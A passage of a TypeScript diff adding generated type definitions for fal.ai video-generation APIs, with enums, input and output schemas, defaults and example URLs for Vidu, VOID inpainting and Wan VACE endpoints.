InputFalAiViduQ3TextToVideoTurboAspectRatioEnumKey + /** + * @description Random seed for reproducibility. If None, a random seed is chosen. + */ + seed?: number | null + /** + * @description Duration of the video in seconds + * @minimum 1 + * @maximum 16 + * @default 5 + * @type integer | undefined + */ + duration?: number + /** + * @description Output video resolution + * @default '720p' + * @type string | undefined + */ + resolution?: InputFalAiViduQ3TextToVideoTurboResolutionEnumKey + /** + * @description Text prompt for video generation, max 2000 characters + * @maxLength 2000 + * @example In an ultra-realistic fashion photography style featuring light blue and pale amber tones, an astronaut in a spacesuit walks through the fog. + * @type string + */ + prompt: string + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type File07C44504 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiViduQ3TextToVideoTurbo = { + /** + * @description The generated video from text using the Q3 model + * @example {"url":"https://v3b.fal.media/files/b/0a8c915a/8dtkty-vyhotySs--cTKS_output.mp4"} + * @type object + */ + video: File07C44504 +} + +export const inputFalAiViduQ4ImageToVideoResolutionEnum = { + '540p': '540p', + '720p': '720p', + '1080p': '1080p', + '2K': '2K', + '4K': '4K', +} as const + +export type InputFalAiViduQ4ImageToVideoResolutionEnumKey = + (typeof inputFalAiViduQ4ImageToVideoResolutionEnum)[keyof typeof inputFalAiViduQ4ImageToVideoResolutionEnum] + +export type InputFalAiViduQ4ImageToVideo = { + /** + * @description URL or base64 data URI of the image to use as the first frame. Supports png, jpeg, jpg and webp up to 50 MB. + * @example https://storage.googleapis.com/falserverless/web-examples/vidu/stylish_woman.webp + * @type string + */ + image_url: string + /** + * @description Random seed for reproducibility. If None, a random seed is chosen. + */ + seed?: number | null + /** + * @description Duration of the video in seconds (3-16) + * @minimum 3 + * @maximum 16 + * @default 5 + * @type integer | undefined + */ + duration?: number + /** + * @description Output video resolution + * @default '720p' + * @type string | undefined + */ + resolution?: InputFalAiViduQ4ImageToVideoResolutionEnumKey + /** + * @description Text prompt for video generation, max 5000 characters + * @maxLength 5000 + * @default '' + * @example The woman turns toward the camera and smiles, then the shot cuts to a close-up as she says: "Let's go." + * @type string | undefined + */ + prompt?: string + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type FileBbfcf07B = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiViduQ4ImageToVideo = { + /** + * @description Cover image of the generated video + */ + cover_image?: Image | null + /** + * @description The generated video from image using the Q4 model + * @example {"url":"https://v3b.fal.media/files/b/0a8c9189/n9z3uUDPqmU2msAtqr25-_output.mp4"} + * @type object + */ + video: FileBbfcf07B + /** + * @description The random seed used for generation + * @type integer + */ + seed: number +} + +export const inputFalAiViduQ4ReferenceToVideoResolutionEnum = { + '540p': '540p', + '720p': '720p', + '1080p': '1080p', + '2K': '2K', + '4K': '4K', +} as const + +export type InputFalAiViduQ4ReferenceToVideoResolutionEnumKey = + (typeof inputFalAiViduQ4ReferenceToVideoResolutionEnum)[keyof typeof inputFalAiViduQ4ReferenceToVideoResolutionEnum] + +export const inputFalAiViduQ4ReferenceToVideoAspectRatioEnum = { + '16:9': '16:9', + '9:16': '9:16', + '4:3': '4:3', + '3:4': '3:4', + '1:1': '1:1', +} as const + +export type InputFalAiViduQ4ReferenceToVideoAspectRatioEnumKey = + (typeof inputFalAiViduQ4ReferenceToVideoAspectRatioEnum)[keyof typeof inputFalAiViduQ4ReferenceToVideoAspectRatioEnum] + +export type InputFalAiViduQ4ReferenceToVideo = { + /** + * @description Whether to generate audio (dialogue and sound effects) with the video. When false, the output video is silent. + * @default false + * @type boolean | undefined + */ + audio?: boolean + /** + * @description Random seed for reproducibility. If None, a random seed is chosen. + */ + seed?: number | null + /** + * @description URLs or base64 data URIs of up to 12 reference images (png, jpeg, jpg, webp) used to keep subjects consistent. + * @example ["https://storage.googleapis.com/falserverless/web-examples/vidu/new-examples/reference1.png","https://storage.googleapis.com/falserverless/web-examples/vidu/new-examples/reference2.png"] + * @type array | undefined + */ + reference_image_urls?: string[] + /** + * @description Text prompt for video generation, max 5000 characters. Refer to references by their position in the lists: [@reference_image_1], [@reference_image_2], ... for images and [reference_audio_1], [reference_audio_2], ... for audio clips. + * @minLength 1 + * @maxLength 5000 + * @example [@reference_image_1] walks along the beach at sunset holding [@reference_image_2], then turns to the camera and speaks in the voice of [reference_audio_1]. + * @type string + */ + prompt: string + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description URLs or base64 data URIs of up to 3 mp3 reference audio clips (3-12 seconds each, max 50 MB) used to keep voices consistent. + * @type array | undefined + */ + reference_audio_urls?: string[] + /** + * @description Output video resolution + * @default '720p' + * @type string | undefined + */ + resolution?: InputFalAiViduQ4ReferenceToVideoResolutionEnumKey + /** + * @description Duration of the video in seconds (3-16) + * @minimum 3 + * @maximum 16 + * @default 5 + * @type integer | undefined + */ + duration?: number + /** + * @description The aspect ratio of the output video + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputFalAiViduQ4ReferenceToVideoAspectRatioEnumKey +} + +export type File2E1E956B = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiViduQ4ReferenceToVideo = { + /** + * @description Cover image of the generated video + */ + cover_image?: Image | null + /** + * @description The generated video from references using the Q4 Preview model + * @example {"url":"https://v3b.fal.media/files/b/0a8c9189/n9z3uUDPqmU2msAtqr25-_output.mp4"} + * @type object + */ + video: File2E1E956B + /** + * @description The random seed used for generation + * @type integer + */ + seed: number +} + +export const inputFalAiViduReferenceToVideoAspectRatioEnum = { + '16:9': '16:9', + '9:16': '9:16', + '1:1': '1:1', +} as const + +export type InputFalAiViduReferenceToVideoAspectRatioEnumKey = + (typeof inputFalAiViduReferenceToVideoAspectRatioEnum)[keyof typeof inputFalAiViduReferenceToVideoAspectRatioEnum] + +export const inputFalAiViduReferenceToVideoMovementAmplitudeEnum = { + auto: 'auto', + small: 'small', + medium: 'medium', + large: 'large', +} as const + +export type InputFalAiViduReferenceToVideoMovementAmplitudeEnumKey = + (typeof inputFalAiViduReferenceToVideoMovementAmplitudeEnum)[keyof typeof inputFalAiViduReferenceToVideoMovementAmplitudeEnum] + +export type InputFalAiViduReferenceToVideo = { + /** + * @description Enable safety checks; disabling requires authorization. + * @default true + */ + enable_safety_checker?: boolean | null + /** + * @description Text prompt for video generation, max 1500 characters + * @maxLength 1500 + * @example The little devil is looking at the apple on the beach and walking around it. + * @type string + */ + prompt: string + /** + * @description The aspect ratio of the output video + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputFalAiViduReferenceToVideoAspectRatioEnumKey + /** + * @description URLs of the reference images to use for consistent subject appearance + * @example ["https://storage.googleapis.com/falserverless/web-examples/vidu/new-examples/reference1.png","https://storage.googleapis.com/falserverless/web-examples/vidu/new-examples/reference2.png","https://storage.googleapis.com/falserverless/web-examples/vidu/new-examples/reference3.png"] + * @type array + */ + reference_image_urls: string[] + /** + * @description Random seed for generation + */ + seed?: number | null + /** + * @description The movement amplitude of objects in the frame + * @default 'auto' + * @type string | undefined + */ + movement_amplitude?: InputFalAiViduReferenceToVideoMovementAmplitudeEnumKey +} + +export type File29E82Ed2 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiViduReferenceToVideo = { + /** + * @description The generated video with consistent subjects from reference images + * @example {"url":"https://storage.googleapis.com/falserverless/web-examples/vidu/new-examples/referencevideo.mp4"} + * @type object + */ + video: File29E82Ed2 +} + +export const inputFalAiViduStartEndToVideoMovementAmplitudeEnum = { + auto: 'auto', + small: 'small', + medium: 'medium', + large: 'large', +} as const + +export type InputFalAiViduStartEndToVideoMovementAmplitudeEnumKey = + (typeof inputFalAiViduStartEndToVideoMovementAmplitudeEnum)[keyof typeof inputFalAiViduStartEndToVideoMovementAmplitudeEnum] + +export type InputFalAiViduStartEndToVideo = { + /** + * @description URL of the image to use as the last frame + * @example https://storage.googleapis.com/falserverless/web-examples/vidu/2-carbody.png + * @type string + */ + end_image_url: string + /** + * @description The movement amplitude of objects in the frame + * @default 'auto' + * @type string | undefined + */ + movement_amplitude?: InputFalAiViduStartEndToVideoMovementAmplitudeEnumKey + /** + * @description Text prompt for video generation, max 1500 characters + * @maxLength 1500 + * @example Transform the car frame into a complete vehicle. + * @type string + */ + prompt: string + /** + * @description Random seed for generation + */ + seed?: number | null + /** + * @description Enable safety checks; disabling requires authorization. + * @default true + */ + enable_safety_checker?: boolean | null + /** + * @description URL of the image to use as the first frame + * @example https://storage.googleapis.com/falserverless/web-examples/vidu/2-carchasis.png + * @type string + */ + start_image_url: string +} + +export type File2E1Af029 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiViduStartEndToVideo = { + /** + * @description The generated transition video between start and end frames + * @example {"url":"https://storage.googleapis.com/falserverless/web-examples/vidu/2-car.mp4"} + * @type object + */ + video: File2E1Af029 +} + +export const inputFalAiViduTemplateToVideoAspectRatioEnum = { + '16:9': '16:9', + '9:16': '9:16', +} as const + +export type InputFalAiViduTemplateToVideoAspectRatioEnumKey = + (typeof inputFalAiViduTemplateToVideoAspectRatioEnum)[keyof typeof inputFalAiViduTemplateToVideoAspectRatioEnum] + +export const inputFalAiViduTemplateToVideoTemplateEnum = { + dreamy_wedding: 'dreamy_wedding', + romantic_lift: 'romantic_lift', + sweet_proposal: 'sweet_proposal', + couple_arrival: 'couple_arrival', + cupid_arrow: 'cupid_arrow', + pet_lovers: 'pet_lovers', + lunar_newyear: 'lunar_newyear', + hug: 'hug', + kiss: 'kiss', + dynasty_dress: 'dynasty_dress', + wish_sender: 'wish_sender', + love_pose: 'love_pose', + hair_swap: 'hair_swap', + youth_rewind: 'youth_rewind', + morphlab: 'morphlab', + live_photo: 'live_photo', + emotionlab: 'emotionlab', + live_memory: 'live_memory', + interaction: 'interaction', + christmas: 'christmas', + pet_finger: 'pet_finger', + eat_mushrooms: 'eat_mushrooms', + beast_chase_library: 'beast_chase_library', + beast_chase_supermarket: 'beast_chase_supermarket', + petal_scattered: 'petal_scattered', + emoji_figure: 'emoji_figure', + hair_color_change: 'hair_color_change', + multiple_people_kissing: 'multiple_people_kissing', + beast_chase_amazon: 'beast_chase_amazon', + beast_chase_mountain: 'beast_chase_mountain', + balloonman_explodes_pro: 'balloonman_explodes_pro', + get_thinner: 'get_thinner', + jump2pool: 'jump2pool', + bodyshake: 'bodyshake', + jiggle_up: 'jiggle_up', + shake_it_dance: 'shake_it_dance', + subject_3: 'subject_3', + pubg_winner_hit: 'pubg_winner_hit', + shake_it_down: 'shake_it_down', + blueprint_supreme: 'blueprint_supreme', + hip_twist: 'hip_twist', + motor_dance: 'motor_dance', + rat_dance: 'rat_dance', + kwok_dance: 'kwok_dance', + leg_sweep_dance: 'leg_sweep_dance', + heeseung_march: 'heeseung_march', + shake_to_max: 'shake_to_max', + dame_un_grrr: 'dame_un_grrr', + i_know: 'i_know', + lit_bounce: 'lit_bounce', + wave_dance: 'wave_dance', + chill_dance: 'chill_dance', + hip_flicking: 'hip_flicking', + sakura_season: 'sakura_season', + zongzi_wrap: 'zongzi_wrap', + zongzi_drop: 'zongzi_drop', + dragonboat_shot: 'dragonboat_shot', + rain_kiss: 'rain_kiss', + child_memory: 'child_memory', + couple_drop: 'couple_drop', + couple_walk: 'couple_walk', + flower_receive: 'flower_receive', + love_drop: 'love_drop', + cheek_kiss: 'cheek_kiss', + carry_me: 'carry_me', + blow_kiss: 'blow_kiss', + love_fall: 'love_fall', + french_kiss_8s: 'french_kiss_8s', + workday_feels: 'workday_feels', + love_story: 'love_story', + bloom_magic: 'bloom_magic', + ghibli: 'ghibli', + minecraft: 'minecraft', + box_me: 'box_me', + claw_me: 'claw_me', + clayshot: 'clayshot', + manga_meme: 'manga_meme', + quad_meme: 'quad_meme', + pixel_me: 'pixel_me', + clayshot_duo: 'clayshot_duo', + irasutoya: 'irasutoya', + american_comic: 'american_comic', + simpsons_comic: 'simpsons_comic', + yayoi_kusama_style: 'yayoi_kusama_style', + pop_art: 'pop_art', + jojo_style: 'jojo_style', + slice_therapy: 'slice_therapy', + balloon_flyaway: 'balloon_flyaway', + flying: 'flying', + paperman: 'paperman', + pinch: 'pinch', + bloom_doorobear: 'bloom_doorobear', + gender_swap: 'gender_swap', + nap_me: 'nap_me', + sexy_me: 'sexy_me', + spin360: 'spin360', + smooth_shift: 'smooth_shift', + paper_fall: 'paper_fall', + jump_to_cloud: 'jump_to_cloud', + pilot: 'pilot', + sweet_dreams: 'sweet_dreams', + soul_depart: 'soul_depart', + punch_hit: 'punch_hit', + watermelon_hit: 'watermelon_hit', + split_stance_pet: 'split_stance_pet', + make_face: 'make_face', + break_glass: 'break_glass', + split_stance_human: 'split_stance_human', + covered_liquid_metal: 'covered_liquid_metal', + fluffy_plunge: 'fluffy_plunge', + pet_belly_dance: 'pet_belly_dance', + water_float: 'water_float', + relax_cut: 'relax_cut', + head_to_balloon: 'head_to_balloon', + cloning: 'cloning', + across_the_universe_jungle: 'across_the_universe_jungle', + clothes_spinning_remnant: 'clothes_spinning_remnant', + across_the_universe_jurassic: 'across_the_universe_jurassic', + across_the_universe_moon: 'across_the_universe_moon', + fisheye_pet: 'fisheye_pet', + hitchcock_zoom: 'hitchcock_zoom', + cute_bangs: 'cute_bangs', + earth_zoom_out: 'earth_zoom_out', + fisheye_human: 'fisheye_human', + drive_yacht: 'drive_yacht', + virtual_singer: 'virtual_singer', + earth_zoom_in: 'earth_zoom_in', + aliens_coming: 'aliens_coming', + drive_ferrari: 'drive_ferrari', + bjd_style: 'bjd_style', + virtual_fitting: 'virtual_fitting', + orbit: 'orbit', + zoom_in: 'zoom_in', + ai_outfit: 'ai_outfit', + spin180: 'spin180', + orbit_dolly: 'orbit_dolly', + orbit_dolly_fast: 'orbit_dolly_fast', + auto_spin: 'auto_spin', + walk_forward: 'walk_forward', + outfit_show: 'outfit_show', + zoom_in_fast: 'zoom_in_fast', + zoom_out_image: 'zoom_out_image', + zoom_out_startend: 'zoom_out_startend', + muscling: 'muscling', + captain_america: 'captain_america', + hulk: 'hulk', + cap_walk: 'cap_walk', + hulk_dive: 'hulk_dive', + exotic_princess: 'exotic_princess', + beast_companion: 'beast_companion', + cartoon_doll: 'cartoon_doll', + golden_epoch: 'golden_epoch', + oscar_gala: 'oscar_gala', + fashion_stride: 'fashion_stride', + star_carpet: 'star_carpet', + flame_carpet: 'flame_carpet', + frost_carpet: 'frost_carpet', + mecha_x: 'mecha_x', + style_me: 'style_me', + tap_me: 'tap_me', + saber_warrior: 'saber_warrior', + pet2human: 'pet2human', + graduation: 'graduation', + fishermen: 'fishermen', + happy_birthday: 'happy_birthday', + fairy_me: 'fairy_me', + ladudu_me: 'ladudu_me', + ladudu_me_random: 'ladudu_me_random', + squid_game: 'squid_game', + superman: 'superman', + grow_wings: 'grow_wings', + clevage: 'clevage', + fly_with_doraemon: 'fly_with_doraemon', + creatice_product_down: 'creatice_product_down', + pole_dance: 'pole_dance', + hug_from_behind: 'hug_from_behind', + creatice_product_up_cybercity: 'creatice_product_up_cybercity', + creatice_product_up_bluecircuit: 'creatice_product_up_bluecircuit', + creatice_product_up: 'creatice_product_up', + run_fast: 'run_fast', + background_explosion: 'background_explosion', +} as const + +export type InputFalAiViduTemplateToVideoTemplateEnumKey = + (typeof inputFalAiViduTemplateToVideoTemplateEnum)[keyof typeof inputFalAiViduTemplateToVideoTemplateEnum] + +export type InputFalAiViduTemplateToVideo = { + /** + * @description Enable safety checks; disabling requires authorization. + * @default true + */ + enable_safety_checker?: boolean | null + /** + * @description The aspect ratio of the output video + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputFalAiViduTemplateToVideoAspectRatioEnumKey + /** + * @description AI video template to use. Pricing varies by template: Standard templates (hug, kiss, love_pose, etc.) cost 4 credits ($0.20), Premium templates (lunar_newyear, dynasty_dress, dreamy_wedding, etc.) cost 6 credits ($0.30), and Advanced templates (live_photo) cost 10 credits ($0.50). + * @default 'hug' + * @type string | undefined + */ + template?: InputFalAiViduTemplateToVideoTemplateEnumKey + /** + * @description Random seed for generation + */ + seed?: number | null + /** + * @description URLs of the images to use with the template. Number of images required varies by template: 'dynasty_dress' and 'shop_frame' accept 1-2 images, 'wish_sender' requires exactly 3 images, all other templates accept only 1 image. + * @example ["https://storage.googleapis.com/falserverless/web-examples/vidu/hug.PNG"] + * @type array + */ + input_image_urls: string[] +} + +export type File26342E27 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiViduTemplateToVideo = { + /** + * @description The generated video using a predefined template + * @example {"url":"https://storage.googleapis.com/falserverless/web-examples/vidu/hugging.mp4"} + * @type object + */ + video: File26342E27 +} + +export type InputFalAiVoidVideoInpainting = { + /** + * @description Temporal window size for inference. The backend snaps this to the nearest CogVideoX-safe value that works with temporal compression and patching. Valid outputs are 69, 77, 85, ..., 197. + * @minimum 1 + * @maximum 197 + * @default 85 + * @type integer | undefined + */ + num_frames?: number + /** + * @description URL of a mask video for the removal target. For best results this should be a VOID-style quadmask video with 4 grayscale values: 0=object to remove, 63=overlap, 127=affected region, 255=background to keep. A simple binary mask (0=remove, 255=keep) also works. If omitted, the app will generate a temporary mask video from `mask_prompt` using the SAM-3 video endpoint and convert it to a quadmask automatically. + * @default '' + * @example https://storage.googleapis.com/falserverless/kontext-blog/trimask_quadmask.mp4 + * @type string | undefined + */ + quad_mask_video_url?: string + /** + * @description Enable content safety checking on the output. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Classifier-free guidance scale. + * @minimum 0 + * @maximum 20 + * @default 1 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description Negative prompt to guide generation away from undesired outputs. + * @default 'The video is not of a high quality, it has a low resolution. Watermark present in each frame. The background is solid. Strange body and strange trajectory. Distortion.' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description Run VOID Pass 2 warped-noise refinement after Pass 1. This is slower but can improve temporal consistency on longer clips. + * @default false + * @type boolean | undefined + */ + enable_pass2_refinement?: boolean + /** + * @description Text description of what should be masked in the input video, such as the object or person to remove. Used to generate a temporary mask video with SAM-3 when `quad_mask_video_url` is not provided. + * @example the person walking through the hallway + */ + mask_prompt?: string | null + /** + * @description Text description of the desired background after object removal. + * @example a video of buildings reflecting on a calm river + * @type string + */ + prompt: string + /** + * @description Random seed for reproducibility. + */ + seed?: number | null + /** + * @description Number of denoising steps. Higher values improve quality but increase latency. + * @minimum 1 + * @maximum 50 + * @default 30 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description URL of the input video containing the object to remove. + * @example https://storage.googleapis.com/falserverless/kontext-blog/input_video.mp4 + * @type string + */ + video_url: string + /** + * @description Denoising strength. 1.0 means full denoising. + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + strength?: number +} + +export type File996F0D0C = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputFalAiVoidVideoInpainting = { + /** + * @description The seed used for generation. + * @type integer + */ + seed: number + /** + * @description Timing breakdown for pipeline stages. + * @type object + */ + timings: { + [key: string]: number + } + /** + * @description The output video with the object removed. + * @example {"url":"https://v3b.fal.media/files/b/0a95b6f4/D89J5QV-wztq3B0OI44Sl_tmpl1cf522v.mp4"} + * @type object + */ + video: File996F0D0C +} + +export const inputFalAiWan22VaceFunA14BDepthResolutionEnum = { + auto: 'auto', + '240p': '240p', + '360p': '360p', + '480p': '480p', + '580p': '580p', + '720p': '720p', +} as const + +export type InputFalAiWan22VaceFunA14BDepthResolutionEnumKey = + (typeof inputFalAiWan22VaceFunA14BDepthResolutionEnum)[keyof typeof inputFalAiWan22VaceFunA14BDepthResolutionEnum] + +export const inputFalAiWan22VaceFunA14BDepthVideoWriteModeEnum = { + fast: 'fast', + balanced: 'balanced', + small: 'small', +} as const + +export type InputFalAiWan22VaceFunA14BDepthVideoWriteModeEnumKey = + (typeof inputFalAiWan22VaceFunA14BDepthVideoWriteModeEnum)[keyof typeof inputFalAiWan22VaceFunA14BDepthVideoWriteModeEnum] + +export const inputFalAiWan22VaceFunA14BDepthTransparencyModeEnum = { + content_aware: 'content_aware', + white: 'white', + black: 'black', +} as const + +export type InputFalAiWan22VaceFunA14BDepthTransparencyModeEnumKey = + (typeof inputFalAiWan22VaceFunA14BDepthTransparencyModeEnum)[keyof typeof inputFalAiWan22VaceFunA14BDepthTransparencyModeEnum] + +export const inputFalAiWan22VaceFunA14BDepthAspectRatioEnum = { + auto: 'auto', + '16:9': '16:9', + '1:1': '1:1', + '9:16': '9:16', +} as const + +export type InputFalAiWan22VaceFunA14BDepthAspectRatioEnumKey = + (typeof inputFalAiWan22VaceFunA14BDepthAspectRatioEnum)[keyof typeof inputFalAiWan22VaceFunA14BDepthAspectRatioEnum] + +export const inputFalAiWan22VaceFunA14BDepthSamplerEnum = { + unipc: 'unipc', + 'dpm++': 'dpm++', + euler: 'euler', +} as const + +export type InputFalAiWan22VaceFunA14BDepthSamplerEnumKey = + (typeof inputFalAiWan22VaceFunA14BDepthSamplerEnum)[keyof typeof inputFalAiWan22VaceFunA14BDepthSamplerEnum] + +export const inputFalAiWan22VaceFunA14BDepthInterpolatorModelEnum = { + rife: 'rife', + film: 'film', +} as const + +export type InputFalAiWan22VaceFunA14BDepthInterpolatorModelEnumKey = + (typeof inputFalAiWan22VaceFunA14BDepthInterpolatorModelEnum)[keyof typeof inputFalAiWan22VaceFunA14BDepthInterpolatorModelEnum] + +export const inputFalAiWan22VaceFunA14BDepthAcceleration = { + none: 'none', + low: 'low', + regular: 'regular', +} as const + +export type InputFalAiWan22VaceFunA14BDepthAccelerationKey = + (typeof inputFalAiWan22VaceFunA14BDepthAcceleration)[keyof typeof inputFalAiWan22VaceFunA14BDepthAcceleration] + +export const inputFalAiWan22VaceFunA14BDepthVideoQualityEnum = { + low: 'low', + medium: 'medium', + high: 'high', + maximum: 'maximum', +} as const + +export type InputFalAiWan22VaceFunA14BDepthVideoQualityEnumKey = + (typeof inputFalAiWan22VaceFunA14BDepthVideoQualityEnum)[keyof typeof inputFalAiWan22VaceFunA14BDepthVideoQualityEnum] + +export type InputFalAiWan22VaceFunA14BDepth = { + /** + * @description The text prompt to guide video generation. + * @example A confident woman strides toward the camera down a sun-drenched, empty street. Her vibrant summer dress, a flowing emerald green with delicate white floral embroidery, billows slightly in the gentle breeze. She carries a stylish, woven straw bag, its natural tan contrasting beautifully with the dress. The dress's fabric shimmers subtly, catching the light. The white embroidery is intricate, each tiny flower meticulously detailed. Her expression is focused, yet relaxed, radiating self-assuredness. Her auburn hair, partially pulled back in a loose braid, catches the sunlight, creating warm highlights. The street itself is paved with warm, grey cobblestones, reflecting the bright sun. The mood is optimistic and serene, emphasizing the woman's independence and carefree spirit. High resolution 4k + * @type string + */ + prompt: string + /** + * @description URLs to source reference image. If provided, the model will use this image as reference. + * @type array | undefined + */ + ref_image_urls?: string[] + /** + * @description If true, the frames per second of the generated video will match the input video. If false, the frames per second will be determined by the frames_per_second parameter. + * @default false + * @example false + * @type boolean | undefined + */ + match_input_frames_per_second?: boolean + /** + * @description Negative prompt for video generation. + * @default 'letterboxing, borders, black bars, bright colors, overexposed, static, blurred details, subtitles, style, artwork, painting, picture, still, overall gray, worst quality, low quality, JPEG compression residue, ugly, incomplete, extra fingers, poorly drawn hands, poorly drawn faces, deformed, disfigured, malformed limbs, fused fingers, still picture, cluttered background, three legs, many people in the background, walking backwards' + * @example letterboxing, borders, black bars, bright colors, overexposed, static, blurred details, subtitles, style, artwork, painting, picture, still, overall gray, worst quality, low quality, JPEG compression residue, ugly, incomplete, extra fingers, poorly drawn hands, poorly drawn faces, deformed, disfigured, malformed limbs, fused fingers, still picture, cluttered background, three legs, many people in the background, walking backwards + * @type string | undefined + */ + negative_prompt?: string + /** + * @description URL to the source video file. Required for depth task. + * @example https://storage.googleapis.com/falserverless/example_inputs/wan-vace-depth-video.mp4 + * @type string + */ + video_url: string + /** + * @description If true, the model will automatically temporally downsample the video to an appropriate frame length for the model, then will interpolate it back to the original frame length. + * @default false + * @example false + * @type boolean | undefined + */ + enable_auto_downsample?: boolean + /** + * @description URL to the first frame of the video. If provided, the model will use this frame as a reference. + */ + first_frame_url?: string | null + /** + * @description Resolution of the generated video. + * @default 'auto' + * @type string | undefined + */ + resolution?: InputFalAiWan22VaceFunA14BDepthResolutionEnumKey + /** + * @description If true, the number of frames in the generated video will match the number of frames in the input video. If false, the number of frames will be determined by the num_frames parameter. + * @default false + * @example false + * @type boolean | undefined + */ + match_input_num_frames?: boolean + /** + * @description The write mode of the generated video. + * @default 'balanced' + * @example balanced + * @type string | undefined + */ + video_write_mode?: InputFalAiWan22VaceFunA14BDepthVideoWriteModeEnumKey + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked. + * @default false + * @example true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description URL to the last frame of the video. If provided, the model will use this frame as a reference. + */ + last_frame_url?: string | null + /** + * @description The minimum frames per second to downsample the video to. This is used to help determine the auto downsample factor to try and find the lowest detail-preserving downsample factor. The default value is appropriate for most videos, if you are using a video with very fast motion, you may need to increase this value. If your video has a very low amount of motion, you could decrease this value to allow for higher downsampling and thus longer sequences. + * @minimum 1 + * @maximum 60 + * @default 15 + * @example 15 + * @type number | undefined + */ + auto_downsample_min_fps?: number + /** + * @description Whether to enable prompt expansion. + * @default false + * @example false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description Shift parameter for video generation. + * @minimum 1 + * @maximum 15 + * @default 5 + * @type number | undefined + */ + shift?: number + /** + * @description Number of inference steps for sampling. Higher values give better quality but take longer. + * @minimum 2 + * @maximum 50 + * @default 30 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The transparency mode to apply to the first and last frames. This controls how the transparent areas of the first and last frames are filled. + * @default 'content_aware' + * @example content_aware + * @type string | undefined + */ + transparency_mode?: InputFalAiWan22VaceFunA14BDepthTransparencyModeEnumKey + /** + * @description Aspect ratio of the generated video. + * @default 'auto' + * @type string | undefined + */ + aspect_ratio?: InputFalAiWan22VaceFunA14BDepthAspectRatioEnumKey + /** + * @description Guidance scale for classifier-free guidance. Higher values encourage the model to generate images closely related to the text prompt. + * @minimum 1 + * @maximum 10 + * @default 5 + * @example 5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description Sampler to use for video generation. + * @default 'unipc' + * @example unipc + * @type string | undefined + */ + sampler?: InputFalAiWan22VaceFunA14BDepthSamplerEnumKey + /** + * @description Frames per second of the generated video. Must be between 5 to 30. Ignored if match_input_frames_per_second is true. + * @default 16 + */ + frames_per_second?: number | null + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @example false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The model to use for frame interpolation. Options are 'rife' or 'film'. + * @default 'film' + * @example film + * @type string | undefined + */ + interpolator_model?: InputFalAiWan22VaceFunA14BDepthInterpolatorModelEnumKey + /** + * @description Acceleration to use for inference. Options are 'none' or 'regular'. Accelerated inference will very slightly affect output, but will be significantly faster. + * @default regular + * @example regular + */ + acceleration?: InputFalAiWan22VaceFunA14BDepthAccelerationKey | null + /** + * @description Random seed for 